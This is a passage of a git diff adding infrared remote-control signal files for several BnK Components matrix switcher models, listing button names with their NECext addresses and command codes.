+type: parsed +protocol: NECext +address: BB 00 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 4A 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 65 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: BB 00 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: BB 00 00 00 +command: A2 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: A6 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: BB 00 00 00 +command: C6 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: BB 00 00 00 +command: CF 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: E5 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: BB 00 00 00 +command: EB 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: BB 00 00 00 +command: F9 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: BB 00 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir new file mode 100644 index 000000000..e8d4c8a24 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 03 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 05 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 06 00 00 00 +# +name: INPUT_8 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 07 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 09 00 00 00 +# +name: INPUT_7 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 0B 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 0D 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 1C 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 1F 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 24 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 29 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 2D 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 2F 00 00 00 +# +name: C_ENTER +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 3F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 40 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 4A 00 00 00 +# +name: PRE_+ +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 4B 00 00 00 +# +name: D_-_IN +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 5A 00 00 00 +# +name: INPUT_9 +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 76 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: 8E 00 00 00 +# +name: PRE_- +type: parsed +protocol: NECext +address: C0 F3 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir new file mode 100644 index 000000000..5581abd30 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: 021_OFF +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 01 00 00 00 +# +name: 021_ON +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 02 00 00 00 +# +name: 021_MUTE +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 03 00 00 00 +# +name: 021_VOLUME_- +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 23 00 00 00 +# +name: 021_VOLUME_+ +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 24 00 00 00 +# +name: 021_IN_6 +type: parsed +protocol: NECext +address: C7 83 00 00 +command: 4A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir new file mode 100644 index 000000000..0a4b4a263 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 03 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 05 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 06 00 00 00 +# +name: INPUT_8 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 07 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 09 00 00 00 +# +name: INPUT_7 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 0B 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 0D 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 1C 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 1F 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 24 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 29 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 2D 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 2F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 40 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 4A 00 00 00 +# +name: PRE_+ +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 4B 00 00 00 +# +name: D_-_IN +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 5A 00 00 00 +# +name: INPUT_9 +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 76 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: CC 00 00 00 +command: 8E 00 00 00 +# +name: PRE_- +type: parsed +protocol: NECext +address: CC 00 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir new file mode 100644 index 000000000..a65f705b1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir @@ -0,0 +1,374 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 02 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 0F 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 17 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 18 00 00 00 +# +name: STATION_+ +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 18 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 1B 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 1C 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 20 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 23 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 23 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 24 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 4A 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 65 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: DB 42 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: DB 42 00 00 +command: A2 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: A6 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: DB 42 00 00 +command: C6 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: DB 42 00 00 +command: CF 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: E5 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: DB 42 00 00 +command: EB 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: DB 42 00 00 +command: F9 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: DB 42 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir new file mode 100644 index 000000000..f4cfd75d5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 03 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 05 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 06 00 00 00 +# +name: INPUT_8 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 07 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 09 00 00 00 +# +name: INPUT_7 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 0B 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 0D 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 18 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 1B 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 29 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 3E 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 4A 00 00 00 +# +name: INPUT_9 +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 76 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: DF 02 00 00 +command: 8E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir new file mode 100644 index 000000000..f9a750354 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 0F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 0F 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 17 00 00 00 +# +name: STATION_+ +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 24 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 30 00 00 00 +# +name: IN +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 3E 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 4A 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 5A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 76 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 17 8E 00 00 +command: 8E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir new file mode 100644 index 000000000..03e53ef56 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 03 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 05 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 06 00 00 00 +# +name: INPUT_8 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 07 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 09 00 00 00 +# +name: INPUT_7 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 0B 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 0D 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 1C 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 1F 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 24 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 29 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 2D 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 2F 00 00 00 +# +name: C_ENTER +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: EF 01 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: 